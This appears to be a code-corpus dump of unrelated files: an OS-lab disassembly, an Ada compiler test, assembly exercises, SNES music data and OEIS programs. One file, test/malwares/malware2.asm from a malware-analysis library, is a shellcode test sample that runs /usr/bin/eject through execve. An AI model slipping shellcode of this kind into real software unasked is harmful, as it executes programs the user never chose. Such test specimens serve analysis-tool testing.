return envid;
}
801097: 8b 45 e4 mov -0x1c(%ebp),%eax
80109a: 8d 65 f4 lea -0xc(%ebp),%esp
80109d: 5b pop %ebx
80109e: 5e pop %esi
80109f: 5f pop %edi
8010a0: 5d pop %ebp
8010a1: c3 ret
panic("sys_page_alloc: %e", r);
8010a2: 50 push %eax
8010a3: 68 78 17 80 00 push $0x801778
8010a8: 6a 79 push $0x79
8010aa: 68 5c 17 80 00 push $0x80175c
8010af: e8 8c f0 ff ff call 800140 <_panic>
panic("sys_env_set_status: %e", r);
8010b4: 50 push %eax
8010b5: 68 c0 17 80 00 push $0x8017c0
8010ba: 6a 7d push $0x7d
8010bc: 68 5c 17 80 00 push $0x80175c
8010c1: e8 7a f0 ff ff call 800140 <_panic>
008010c6 <sfork>:
// Challenge!
int
sfork(void)
{
8010c6: 55 push %ebp
8010c7: 89 e5 mov %esp,%ebp
8010c9: 83 ec 0c sub $0xc,%esp
panic("sfork not implemented");
8010cc: 68 d7 17 80 00 push $0x8017d7
8010d1: 68 85 00 00 00 push $0x85
8010d6: 68 5c 17 80 00 push $0x80175c
8010db: e8 60 f0 ff ff call 800140 <_panic>
008010e0 <set_pgfault_handler>:
// at UXSTACKTOP), and tell the kernel to call the assembly-language
// _pgfault_upcall routine when a page fault occurs.
//
void
set_pgfault_handler(void (*handler)(struct UTrapframe *utf))
{
8010e0: 55 push %ebp
8010e1: 89 e5 mov %esp,%ebp
8010e3: 83 ec 08 sub $0x8,%esp
int r;
if (_pgfault_handler == 0) {
8010e6: 83 3d 0c 20 80 00 00 cmpl $0x0,0x80200c
8010ed: 74 0a je 8010f9 <set_pgfault_handler+0x19>
}
sys_env_set_pgfault_upcall(0, _pgfault_upcall); //系统调用,设置进程的env_pgfault_upcall属性
}
// Save handler pointer for assembly to call.
_pgfault_handler = handler;
8010ef: 8b 45 08 mov 0x8(%ebp),%eax
8010f2: a3 0c 20 80 00 mov %eax,0x80200c
}
8010f7: c9 leave
8010f8: c3 ret
int r = sys_page_alloc(0, (void *)(UXSTACKTOP-PGSIZE), PTE_W | PTE_U | PTE_P); //为当前进程分配异常栈
8010f9: 83 ec 04 sub $0x4,%esp
8010fc: 6a 07 push $0x7
8010fe: 68 00 f0 bf ee push $0xeebff000
801103: 6a 00 push $0x0
801105: e8 29 fb ff ff call 800c33 <sys_page_alloc>
if (r < 0) {
80110a: 83 c4 10 add $0x10,%esp
80110d: 85 c0 test %eax,%eax
80110f: 78 14 js 801125 <set_pgfault_handler+0x45>
sys_env_set_pgfault_upcall(0, _pgfault_upcall); //系统调用,设置进程的env_pgfault_upcall属性
801111: 83 ec 08 sub $0x8,%esp
801114: 68 39 11 80 00 push $0x801139
801119: 6a 00 push $0x0
80111b: e8 5e fc ff ff call 800d7e <sys_env_set_pgfault_upcall>
801120: 83 c4 10 add $0x10,%esp
801123: eb ca jmp 8010ef <set_pgfault_handler+0xf>
panic("set_pgfault_handler:sys_page_alloc failed");;
801125: 83 ec 04 sub $0x4,%esp
801128: 68 f0 17 80 00 push $0x8017f0
80112d: 6a 22 push $0x22
80112f: 68 1c 18 80 00 push $0x80181c
801134: e8 07 f0 ff ff call 800140 <_panic>
00801139 <_pgfault_upcall>:
.text
.globl _pgfault_upcall
_pgfault_upcall:
// Call the C page fault handler.
pushl %esp // function argument: pointer to UTF
801139: 54 push %esp
movl _pgfault_handler, %eax
80113a: a1 0c 20 80 00 mov 0x80200c,%eax
call *%eax //调用页处理函数
80113f: ff d0 call *%eax
addl $4, %esp // pop function argument
801141: 83 c4 04 add $0x4,%esp
// LAB 4: Your code here.
// Restore the trap-time registers. After you do this, you
// can no longer modify any general-purpose registers.
// LAB 4: Your code here.
addl $8, %esp //跳过utf_fault_va和utf_err
801144: 83 c4 08 add $0x8,%esp
movl 40(%esp), %eax //保存中断发生时的esp到eax
801147: 8b 44 24 28 mov 0x28(%esp),%eax
movl 32(%esp), %ecx //保存终端发生时的eip到ecx
80114b: 8b 4c 24 20 mov 0x20(%esp),%ecx
movl %ecx, -4(%eax) //将中断发生时的esp值亚入到到原来的栈中
80114f: 89 48 fc mov %ecx,-0x4(%eax)
popal
801152: 61 popa
addl $4, %esp //跳过eip
801153: 83 c4 04 add $0x4,%esp
// Restore eflags from the stack. After you do this, you can
// no longer use arithmetic operations or anything else that
// modifies eflags.
// LAB 4: Your code here.
popfl
801156: 9d popf
// Switch back to the adjusted trap-time stack.
// LAB 4: Your code here.
popl %esp
801157: 5c pop %esp
// Return to re-execute the instruction that faulted.
// LAB 4: Your code here.
lea -4(%esp), %esp //因为之前压入了eip的值但是没有减esp的值,所以现在需要将esp寄存器中的值减4
801158: 8d 64 24 fc lea -0x4(%esp),%esp
80115c: c3 ret
80115d: 66 90 xchg %ax,%ax
80115f: 90 nop
00801160 <__udivdi3>:
801160: 55 push %ebp
801161: 57 push %edi
801162: 56 push %esi
801163: 53 push %ebx
801164: 83 ec 1c sub $0x1c,%esp
801167: 8b 54 24 3c mov 0x3c(%esp),%edx
80116b: 8b 6c 24 30 mov 0x30(%esp),%ebp
80116f: 8b 74 24 34 mov 0x34(%esp),%esi
801173: 8b 5c 24 38 mov 0x38(%esp),%ebx
801177: 85 d2 test %edx,%edx
801179: 75 35 jne 8011b0 <__udivdi3+0x50>
80117b: 39 f3 cmp %esi,%ebx
80117d: 0f 87 bd 00 00 00 ja 801240 <__udivdi3+0xe0>
801183: 85 db test %ebx,%ebx
801185: 89 d9 mov %ebx,%ecx
801187: 75 0b jne 801194 <__udivdi3+0x34>
801189: b8 01 00 00 00 mov $0x1,%eax
80118e: 31 d2 xor %edx,%edx
801190: f7 f3 div %ebx
801192: 89 c1 mov %eax,%ecx
801194: 31 d2 xor %edx,%edx
801196: 89 f0 mov %esi,%eax
801198: f7 f1 div %ecx
80119a: 89 c6 mov %eax,%esi
80119c: 89 e8 mov %ebp,%eax
80119e: 89 f7 mov %esi,%edi
8011a0: f7 f1 div %ecx
8011a2: 89 fa mov %edi,%edx
8011a4: 83 c4 1c add $0x1c,%esp
8011a7: 5b pop %ebx
8011a8: 5e pop %esi
8011a9: 5f pop %edi
8011aa: 5d pop %ebp
8011ab: c3 ret
8011ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
8011b0: 39 f2 cmp %esi,%edx
8011b2: 77 7c ja 801230 <__udivdi3+0xd0>
8011b4: 0f bd fa bsr %edx,%edi
8011b7: 83 f7 1f xor $0x1f,%edi
8011ba: 0f 84 98 00 00 00 je 801258 <__udivdi3+0xf8>
8011c0: 89 f9 mov %edi,%ecx
8011c2: b8 20 00 00 00 mov $0x20,%eax
8011c7: 29 f8 sub %edi,%eax
8011c9: d3 e2 shl %cl,%edx
8011cb: 89 54 24 08 mov %edx,0x8(%esp)
8011cf: 89 c1 mov %eax,%ecx
8011d1: 89 da mov %ebx,%edx
8011d3: d3 ea shr %cl,%edx
8011d5: 8b 4c 24 08 mov 0x8(%esp),%ecx
8011d9: 09 d1 or %edx,%ecx
8011db: 89 f2 mov %esi,%edx
8011dd: 89 4c 24 08 mov %ecx,0x8(%esp)
8011e1: 89 f9 mov %edi,%ecx
8011e3: d3 e3 shl %cl,%ebx
8011e5: 89 c1 mov %eax,%ecx
8011e7: d3 ea shr %cl,%edx
8011e9: 89 f9 mov %edi,%ecx
8011eb: 89 5c 24 0c mov %ebx,0xc(%esp)
8011ef: d3 e6 shl %cl,%esi
8011f1: 89 eb mov %ebp,%ebx
8011f3: 89 c1 mov %eax,%ecx
8011f5: d3 eb shr %cl,%ebx
8011f7: 09 de or %ebx,%esi
8011f9: 89 f0 mov %esi,%eax
8011fb: f7 74 24 08 divl 0x8(%esp)
8011ff: 89 d6 mov %edx,%esi
801201: 89 c3 mov %eax,%ebx
801203: f7 64 24 0c mull 0xc(%esp)
801207: 39 d6 cmp %edx,%esi
801209: 72 0c jb 801217 <__udivdi3+0xb7>
80120b: 89 f9 mov %edi,%ecx
80120d: d3 e5 shl %cl,%ebp
80120f: 39 c5 cmp %eax,%ebp
801211: 73 5d jae 801270 <__udivdi3+0x110>
801213: 39 d6 cmp %edx,%esi
801215: 75 59 jne 801270 <__udivdi3+0x110>
801217: 8d 43 ff lea -0x1(%ebx),%eax
80121a: 31 ff xor %edi,%edi
80121c: 89 fa mov %edi,%edx
80121e: 83 c4 1c add $0x1c,%esp
801221: 5b pop %ebx
801222: 5e pop %esi
801223: 5f pop %edi
801224: 5d pop %ebp
801225: c3 ret
801226: 8d 76 00 lea 0x0(%esi),%esi
801229: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801230: 31 ff xor %edi,%edi
801232: 31 c0 xor %eax,%eax
801234: 89 fa mov %edi,%edx
801236: 83 c4 1c add $0x1c,%esp
801239: 5b pop %ebx
80123a: 5e pop %esi
80123b: 5f pop %edi
80123c: 5d pop %ebp
80123d: c3 ret
80123e: 66 90 xchg %ax,%ax
801240: 31 ff xor %edi,%edi
801242: 89 e8 mov %ebp,%eax
801244: 89 f2 mov %esi,%edx
801246: f7 f3 div %ebx
801248: 89 fa mov %edi,%edx
80124a: 83 c4 1c add $0x1c,%esp
80124d: 5b pop %ebx
80124e: 5e pop %esi
80124f: 5f pop %edi
801250: 5d pop %ebp
801251: c3 ret
801252: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801258: 39 f2 cmp %esi,%edx
80125a: 72 06 jb 801262 <__udivdi3+0x102>
80125c: 31 c0 xor %eax,%eax
80125e: 39 eb cmp %ebp,%ebx
801260: 77 d2 ja 801234 <__udivdi3+0xd4>
801262: b8 01 00 00 00 mov $0x1,%eax
801267: eb cb jmp 801234 <__udivdi3+0xd4>
801269: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801270: 89 d8 mov %ebx,%eax
801272: 31 ff xor %edi,%edi
801274: eb be jmp 801234 <__udivdi3+0xd4>
801276: 66 90 xchg %ax,%ax
801278: 66 90 xchg %ax,%ax
80127a: 66 90 xchg %ax,%ax
80127c: 66 90 xchg %ax,%ax
80127e: 66 90 xchg %ax,%ax
00801280 <__umoddi3>:
801280: 55 push %ebp
801281: 57 push %edi
801282: 56 push %esi
801283: 53 push %ebx
801284: 83 ec 1c sub $0x1c,%esp
801287: 8b 6c 24 3c mov 0x3c(%esp),%ebp
80128b: 8b 74 24 30 mov 0x30(%esp),%esi
80128f: 8b 5c 24 34 mov 0x34(%esp),%ebx
801293: 8b 7c 24 38 mov 0x38(%esp),%edi
801297: 85 ed test %ebp,%ebp
801299: 89 f0 mov %esi,%eax
80129b: 89 da mov %ebx,%edx
80129d: 75 19 jne 8012b8 <__umoddi3+0x38>
80129f: 39 df cmp %ebx,%edi
8012a1: 0f 86 b1 00 00 00 jbe 801358 <__umoddi3+0xd8>
8012a7: f7 f7 div %edi
8012a9: 89 d0 mov %edx,%eax
8012ab: 31 d2 xor %edx,%edx
8012ad: 83 c4 1c add $0x1c,%esp
8012b0: 5b pop %ebx
8012b1: 5e pop %esi
8012b2: 5f pop %edi
8012b3: 5d pop %ebp
8012b4: c3 ret
8012b5: 8d 76 00 lea 0x0(%esi),%esi
8012b8: 39 dd cmp %ebx,%ebp
8012ba: 77 f1 ja 8012ad <__umoddi3+0x2d>
8012bc: 0f bd cd bsr %ebp,%ecx
8012bf: 83 f1 1f xor $0x1f,%ecx
8012c2: 89 4c 24 04 mov %ecx,0x4(%esp)
8012c6: 0f 84 b4 00 00 00 je 801380 <__umoddi3+0x100>
8012cc: b8 20 00 00 00 mov $0x20,%eax
8012d1: 89 c2 mov %eax,%edx
8012d3: 8b 44 24 04 mov 0x4(%esp),%eax
8012d7: 29 c2 sub %eax,%edx
8012d9: 89 c1 mov %eax,%ecx
8012db: 89 f8 mov %edi,%eax
8012dd: d3 e5 shl %cl,%ebp
8012df: 89 d1 mov %edx,%ecx
8012e1: 89 54 24 0c mov %edx,0xc(%esp)
8012e5: d3 e8 shr %cl,%eax
8012e7: 09 c5 or %eax,%ebp
8012e9: 8b 44 24 04 mov 0x4(%esp),%eax
8012ed: 89 c1 mov %eax,%ecx
8012ef: d3 e7 shl %cl,%edi
8012f1: 89 d1 mov %edx,%ecx
8012f3: 89 7c 24 08 mov %edi,0x8(%esp)
8012f7: 89 df mov %ebx,%edi
8012f9: d3 ef shr %cl,%edi
8012fb: 89 c1 mov %eax,%ecx
8012fd: 89 f0 mov %esi,%eax
8012ff: d3 e3 shl %cl,%ebx
801301: 89 d1 mov %edx,%ecx
801303: 89 fa mov %edi,%edx
801305: d3 e8 shr %cl,%eax
801307: 0f b6 4c 24 04 movzbl 0x4(%esp),%ecx
80130c: 09 d8 or %ebx,%eax
80130e: f7 f5 div %ebp
801310: d3 e6 shl %cl,%esi
801312: 89 d1 mov %edx,%ecx
801314: f7 64 24 08 mull 0x8(%esp)
801318: 39 d1 cmp %edx,%ecx
80131a: 89 c3 mov %eax,%ebx
80131c: 89 d7 mov %edx,%edi
80131e: 72 06 jb 801326 <__umoddi3+0xa6>
801320: 75 0e jne 801330 <__umoddi3+0xb0>
801322: 39 c6 cmp %eax,%esi
801324: 73 0a jae 801330 <__umoddi3+0xb0>
801326: 2b 44 24 08 sub 0x8(%esp),%eax
80132a: 19 ea sbb %ebp,%edx
80132c: 89 d7 mov %edx,%edi
80132e: 89 c3 mov %eax,%ebx
801330: 89 ca mov %ecx,%edx
801332: 0f b6 4c 24 0c movzbl 0xc(%esp),%ecx
801337: 29 de sub %ebx,%esi
801339: 19 fa sbb %edi,%edx
80133b: 8b 5c 24 04 mov 0x4(%esp),%ebx
80133f: 89 d0 mov %edx,%eax
801341: d3 e0 shl %cl,%eax
801343: 89 d9 mov %ebx,%ecx
801345: d3 ee shr %cl,%esi
801347: d3 ea shr %cl,%edx
801349: 09 f0 or %esi,%eax
80134b: 83 c4 1c add $0x1c,%esp
80134e: 5b pop %ebx
80134f: 5e pop %esi
801350: 5f pop %edi
801351: 5d pop %ebp
801352: c3 ret
801353: 90 nop
801354: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801358: 85 ff test %edi,%edi
80135a: 89 f9 mov %edi,%ecx
80135c: 75 0b jne 801369 <__umoddi3+0xe9>
80135e: b8 01 00 00 00 mov $0x1,%eax
801363: 31 d2 xor %edx,%edx
801365: f7 f7 div %edi
801367: 89 c1 mov %eax,%ecx
801369: 89 d8 mov %ebx,%eax
80136b: 31 d2 xor %edx,%edx
80136d: f7 f1 div %ecx
80136f: 89 f0 mov %esi,%eax
801371: f7 f1 div %ecx
801373: e9 31 ff ff ff jmp 8012a9 <__umoddi3+0x29>
801378: 90 nop
801379: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801380: 39 dd cmp %ebx,%ebp
801382: 72 08 jb 80138c <__umoddi3+0x10c>
801384: 39 f7 cmp %esi,%edi
801386: 0f 87 21 ff ff ff ja 8012ad <__umoddi3+0x2d>
80138c: 89 da mov %ebx,%edx
80138e: 89 f0 mov %esi,%eax
801390: 29 f8 sub %edi,%eax
801392: 19 ea sbb %ebp,%edx
801394: e9 14 ff ff ff jmp 8012ad <__umoddi3+0x2d>
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/cd/cd1009w.ada | best08618/asylo | 7 | 5038 | -- CD1009W.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- OBJECTIVE:
-- CHECK THAT AN ENUMERATION REPRESENTATION CLAUSE MAY BE GIVEN IN
-- THE PRIVATE PART OF A PACKAGE FOR A PRIVATE TYPE, WHOSE FULL
-- TYPE DECLARATION IS AN ENUMERATION TYPE, DECLARED IN THE
-- VISIBLE PART OF THE SAME PACKAGE.
-- HISTORY:
-- VCL 10/09/87 CREATED ORIGINAL TEST.
-- DHH 03/29/89 CHANGE FROM 'A' TEST TO 'C' TEST AND FROM '.DEP'
-- '.ADA'. ADDED CHECK ON REPRESENTATION CLAUSE.
WITH REPORT; USE REPORT;
WITH ENUM_CHECK; -- CONTAINS A CALL TO 'FAILED'.
PROCEDURE CD1009W IS
BEGIN
TEST ("CD1009W", "AN ENUMERATION REPRESENTATION CLAUSE MAY BE " &
"GIVEN IN THE PRIVATE PART OF A PACKAGE FOR " &
"A PRIVATE TYPE, WHOSE FULL TYPE DECLARATION " &
"IS AN ENUMERATION TYPE, DECLARED IN " &
"THE VISIBLE PART OF THE SAME PACKAGE");
DECLARE
PACKAGE PACK IS
TYPE CHECK_TYPE_1 IS PRIVATE;
PRIVATE
TYPE CHECK_TYPE_1 IS (A0, A2, A4, A8);
FOR CHECK_TYPE_1 USE (A0 => 0,
A2 => 2,
A4 => 4,
A8 => 16);
TYPE INT1 IS RANGE 0 .. 16;
FOR INT1'SIZE USE CHECK_TYPE_1'SIZE;
PROCEDURE CHECK_1 IS NEW ENUM_CHECK(CHECK_TYPE_1, INT1);
END PACK;
PACKAGE BODY PACK IS
BEGIN
CHECK_1 (A8, 16, "CHECK_TYPE_1");
END PACK;
USE PACK;
BEGIN
NULL;
END;
RESULT;
END CD1009W;
|
test/malwares/malware2.asm | tiago4orion/libmalelf | 16 | 99309 | BITS 32
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov eax, 0xb
push edx
push byte 0x6d
push dword 0x6f726463
mov ecx, esp
push edx
push word 0x7463
push dword 0x656a652f
push dword 0x6e69622f
push dword 0x7273752f
mov ebx, esp
push edx
push ecx
push ebx
mov ecx, esp
int 0x80
inc eax
int 0x80
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
|
Week_8-9/29 - and_2.asm | iamruveyda/KBU-Mikro | 1 | 163822 | .model small
.data
.code
main proc
mov al,'a'
and al,11011111b ; clear bit 5
mov al,'b'
and al,11011111b ; clear bit 5
endp
end main |
music2_data.asm | Kannagi/Super-Kannagi-Sound | 11 | 98942 | <filename>music2_data.asm
SPLDIR:
.include "music/dir.asm"
Music2_pattern:
.incbin "music/manafort1.sks"
Music2_patternEOF:
Music2_header:
.incbin "music/manafort1_header.sks"
Music2_headerEOF:
BRR_Piano:
.incbin "music/brr/Piano.brr"
BRR_PianoEOF:
BRRsin:
.db $C3
.db $03
.db $56
.db $75
.db $3E
.db $B9
.db $98
.db $9B
.db $E0
Music2_header2:
.db $00 ;flg
.db $01 ;kon
.db $00 ;esa
.db $00 ;edl
.db $00 ;efb
.db $00 ;evoll
.db $00 ;evolr
.db $00 ;firc0
.db $00 ;firc1
.db $00 ;firc2
.db $00 ;firc3
.db $00 ;firc4
.db $00 ;firc5
.db $00 ;firc6
.db $00 ;firc7
.db $00 ;emusic
.db $41 ;emusic+1
.db $00,$00,$00,$00,$00,$00,$00 ;unused
.db $16 ;track 0
.db $1A ;track 1
.db $1C ;track 2
.db $1E ;track 3
.db $1F ;track 4
.db $20 ;track 5
.db $24 ;track 6
.db $26 ;track 7
;INDEX
.db $00 ;srcn
.db $FF ;adsr1
.db $E0 ;adsr2
.db $7F ;gain
.db $00 ;srcn
.db $FF ;adsr1
.db $E0 ;adsr2
.db $7F ;gain
.db $01 ;srcn
.db $FF ;adsr1
.db $E0 ;adsr2
.db $7F ;gain
.db $02 ;srcn
.db $FF ;adsr1
.db $E0 ;adsr2
.db $7F ;gain
.db $03 ;srcn
.db $FF ;adsr1
.db $E0 ;adsr2
.db $7F ;gain
.db $04 ;srcn
.db $FF ;adsr1
.db $E0 ;adsr2
.db $7F ;gain
.db $05 ;srcn
.db $FF ;adsr1
.db $E0 ;adsr2
.db $7F ;gain
.db $06 ;srcn
.db $FF ;adsr1
.db $E0 ;adsr2
.db $7F ;gain
.db $07 ;srcn
.db $FF ;adsr1
.db $E0 ;adsr2
.db $7F ;gain
.db $08 ;srcn
.db $FF ;adsr1
.db $E0 ;adsr2
.db $7F ;gain
.db $09 ;srcn
.db $FF ;adsr1
.db $E0 ;adsr2
.db $7F ;gain
.db $0A ;srcn
.db $FF ;adsr1
.db $E0 ;adsr2
.db $7F ;gain
.db $0B ;srcn
.db $FF ;adsr1
.db $E0 ;adsr2
.db $7F ;gain
.db $0C ;srcn
.db $FF ;adsr1
.db $E0 ;adsr2
.db $7F ;gain
.db $0D ;srcn
.db $FF ;adsr1
.db $E0 ;adsr2
.db $7F ;gain
|
oeis/001/A001794.asm | neoneye/loda-programs | 11 | 242639 | ; A001794: Negated coefficients of Chebyshev T polynomials: [x^n](-T(n+6, x)), n >= 0.
; Submitted by <NAME>
; 1,7,32,120,400,1232,3584,9984,26880,70400,180224,452608,1118208,2723840,6553600,15597568,36765696,85917696,199229440,458752000,1049624576,2387607552,5402263552,12163481600,27262976000,60850962432,135291469824,299708186624,661693399040,1456262348800,3195455668224,6992206757888,15260018802688,33221572034560,72155450572800,156371169312768,338168545017856,729869562413056,1572301627719680,3380998255411200,7257876254949376,15554790998147072,33284415996035072,71116412084551680,151732604633088000
mov $1,2
mov $2,$0
add $0,1
pow $1,$2
mul $1,$0
add $0,5
mul $1,$0
mul $2,2
add $2,4
mul $1,$2
mov $0,$1
div $0,24
|
firmware/coreboot/3rdparty/libgfxinit/common/hw-gfx-gma-pch-sideband.ads | fabiojna02/OpenCellular | 1 | 18900 | --
-- Copyright (C) 2015 secunet Security Networks AG
--
-- This program is free software; you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation; either version 2 of the License, or
-- (at your option) any later version.
--
-- This program is distributed in the hope that it will be useful,
-- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
--
private package HW.GFX.GMA.PCH.Sideband is
type Destination_Type is (SBI_ICLK, SBI_MPHY);
type Register_Type is
(SBI_SSCDIVINTPHASE6,
SBI_SSCCTL6,
SBI_SSCAUXDIV);
procedure Read
(Dest : in Destination_Type;
Register : in Register_Type;
Value : out Word32);
procedure Write
(Dest : in Destination_Type;
Register : in Register_Type;
Value : in Word32);
procedure Unset_Mask
(Dest : in Destination_Type;
Register : in Register_Type;
Mask : in Word32);
procedure Set_Mask
(Dest : in Destination_Type;
Register : in Register_Type;
Mask : in Word32);
procedure Unset_And_Set_Mask
(Dest : in Destination_Type;
Register : in Register_Type;
Mask_Unset : in Word32;
Mask_Set : in Word32);
end HW.GFX.GMA.PCH.Sideband;
|
programs/oeis/303/A303298.asm | jmorken/loda | 1 | 29059 | ; A303298: Generalized 21-gonal (or icosihenagonal) numbers: m*(19*m - 17)/2 with m = 0, +1, -1, +2, -2, +3, -3, ...
; 0,1,18,21,55,60,111,118,186,195,280,291,393,406,525,540,676,693,846,865,1035,1056,1243,1266,1470,1495,1716,1743,1981,2010,2265,2296,2568,2601,2890,2925,3231,3268,3591,3630,3970,4011,4368,4411,4785,4830,5221,5268,5676,5725,6150,6201,6643,6696,7155,7210,7686,7743,8236,8295,8805,8866,9393,9456,10000,10065,10626,10693,11271,11340,11935,12006,12618,12691,13320,13395,14041,14118,14781,14860,15540,15621,16318,16401,17115,17200,17931,18018,18766,18855,19620,19711,20493,20586,21385,21480,22296,22393,23226,23325,24175,24276,25143,25246,26130,26235,27136,27243,28161,28270,29205,29316,30268,30381,31350,31465,32451,32568,33571,33690,34710,34831,35868,35991,37045,37170,38241,38368,39456,39585,40690,40821,41943,42076,43215,43350,44506,44643,45816,45955,47145,47286,48493,48636,49860,50005,51246,51393,52651,52800,54075,54226,55518,55671,56980,57135,58461,58618,59961,60120,61480,61641,63018,63181,64575,64740,66151,66318,67746,67915,69360,69531,70993,71166,72645,72820,74316,74493,76006,76185,77715,77896,79443,79626,81190,81375,82956,83143,84741,84930,86545,86736,88368,88561,90210,90405,92071,92268,93951,94150,95850,96051,97768,97971,99705,99910,101661,101868,103636,103845,105630,105841,107643,107856,109675,109890,111726,111943,113796,114015,115885,116106,117993,118216,120120,120345,122266,122493,124431,124660,126615,126846,128818,129051,131040,131275,133281,133518,135541,135780,137820,138061,140118,140361,142435,142680,144771,145018,147126,147375
mov $2,$0
mov $6,$0
lpb $2
mov $0,$6
sub $2,1
sub $0,$2
mul $0,5
mov $4,2
mov $5,$0
sub $0,7
gcd $0,2
mov $3,7
mul $5,6
mov $8,4
lpb $3
add $4,1
div $3,$4
sub $8,1
div $8,$0
mul $8,6
lpe
mul $5,$8
mov $7,$5
div $7,360
add $1,$7
lpe
|
r2/c2.asm | mcjonker/csce-212-computer-architecture | 0 | 11252 | <gh_stars>0
# Property of <NAME>
.data
prompt: .asciiz "Welcome to the BMI calculator!\n"
weight: .asciiz "Enter the weight (in pounds).\n"
height: .asciiz "Enter the height (in feet).\n"
underw: .asciiz "BMI Index is Underweight.\n\n"
normalw: .asciiz "BMI Index is Normal.\n\n"
overw: .asciiz "BMI Index is Overweight.\n\n"
bmi: .asciiz "BMI #: "
nl: .asciiz "\n"
w: .float 0.0
h: .float 0.0
fti: .float 12.0
bmic: .float 703.0
buw: .float 18.5
bnw: .float 24.9
bow: .float 25.0
.text
# Initialize SFPVs
l.s $f1, w
l.s $f2, h
# Prompt Welcome
li $v0, 4
la $a0, prompt
syscall
j process
process:
# Prompt to enter weight
li $v0, 4
la $a0, weight
syscall
# Accept weight value
li $v0, 6
syscall
mov.s $f1, $f0
# Prompt to enter height
li $v0, 4
la $a0, height
syscall
# Accept height value
li $v0, 6
syscall
mov.s $f2, $f0
## Calculate the BMI
# Feet to Inches
l.s $f4, fti
mul.s $f2, $f2, $f4
# Inches squared
mul.s $f2, $f2, $f2
# Pounds per Inches squared
div.s $f3, $f1, $f2
# Multiply by BMI metric constant
l.s $f4, bmic
mul.s $f3, $f3, $f4
# BMI is stored in $f3
## Print BMI
li $v0, 4
la $a0, bmi
syscall
li $v0, 2
mov.s $f12, $f3
syscall
li $v0, 4
la $a0, nl
syscall
## Read BMI and find status.
# Underweight?
l.s $f4, buw
c.lt.s $f3, $f4
bc1t underweight
# Overweight?
l.s $f4, bow
c.le.s $f4, $f3
bc1t overweight
# If not uw or ow, normal
j normalweight
underweight:
li $v0, 4
la $a0, underw
syscall
la $a0, nl
syscall
j process
normalweight:
li $v0, 4
la $a0, normalw
syscall
la $a0, nl
syscall
j process
overweight:
li $v0, 4
la $a0, overw
syscall
la $a0, nl
syscall
j process |
testsAssembly/teste10.asm | shsandro/Scoreboarding | 0 | 13573 | addi $t1, $zero, 0x0
addi $t2, $zero, 0x1
sub $t2, $zero, $zero
madd $t1, $t2 # RAW
mflo $t0 # RAW
or $t0, $t1, $t2 # WAW
addi $t1, $zero, 0xc # WAR
|
programs/oeis/200/A200252.asm | neoneye/loda | 22 | 80644 | ; A200252: Number of 0..n arrays x(0..2) of 3 elements with each no smaller than the sum of its previous elements modulo (n+1).
; 5,12,26,45,75,112,164,225,305,396,510,637,791,960,1160,1377,1629,1900,2210,2541,2915,3312,3756,4225,4745,5292,5894,6525,7215,7936,8720,9537,10421,11340,12330,13357,14459,15600,16820,18081,19425,20812,22286,23805,25415,27072,28824,30625,32525,34476,36530,38637,40851,43120,45500,47937,50489,53100,55830,58621,61535,64512,67616,70785,74085,77452,80954,84525,88235,92016,95940,99937,104081,108300,112670,117117,121719,126400,131240,136161,141245,146412,151746,157165,162755,168432,174284,180225,186345,192556,198950,205437,212111,218880,225840,232897,240149,247500,255050,262701
add $0,1
mov $1,$0
pow $0,2
add $0,1
div $0,2
add $1,1
mul $1,2
add $0,$1
mul $0,$1
div $0,4
|
gfx/pokemon/manectric/anim_idle.asm | Ebernacher90/pokecrystal-allworld | 0 | 88363 | <reponame>Ebernacher90/pokecrystal-allworld
setrepeat 2
frame 1, 06
frame 4, 06
dorepeat 1
endanim |
programs/oeis/059/A059132.asm | neoneye/loda | 22 | 92639 | <gh_stars>10-100
; A059132: A hierarchical sequence (W2{2}c - see A059126).
; 4,10,4,16,4,10,4,22,4,10,4,16,4,10,4,28,4,10,4,16,4,10,4,22,4,10,4,16,4,10,4,34,4,10,4,16,4,10,4,22,4,10,4,16,4,10,4,28,4,10,4,16,4,10,4,22,4,10,4,16,4,10,4,40,4,10,4,16,4,10,4,22,4,10,4,16,4,10,4,28,4,10,4,16,4,10,4,22,4,10,4,16,4,10,4,34,4,10,4,16
add $0,1
lpb $0
dif $0,2
add $1,6
lpe
add $1,4
mov $0,$1
|
programs/oeis/017/A017059.asm | neoneye/loda | 22 | 13364 | <reponame>neoneye/loda
; A017059: a(n) = (7*n + 6)^7.
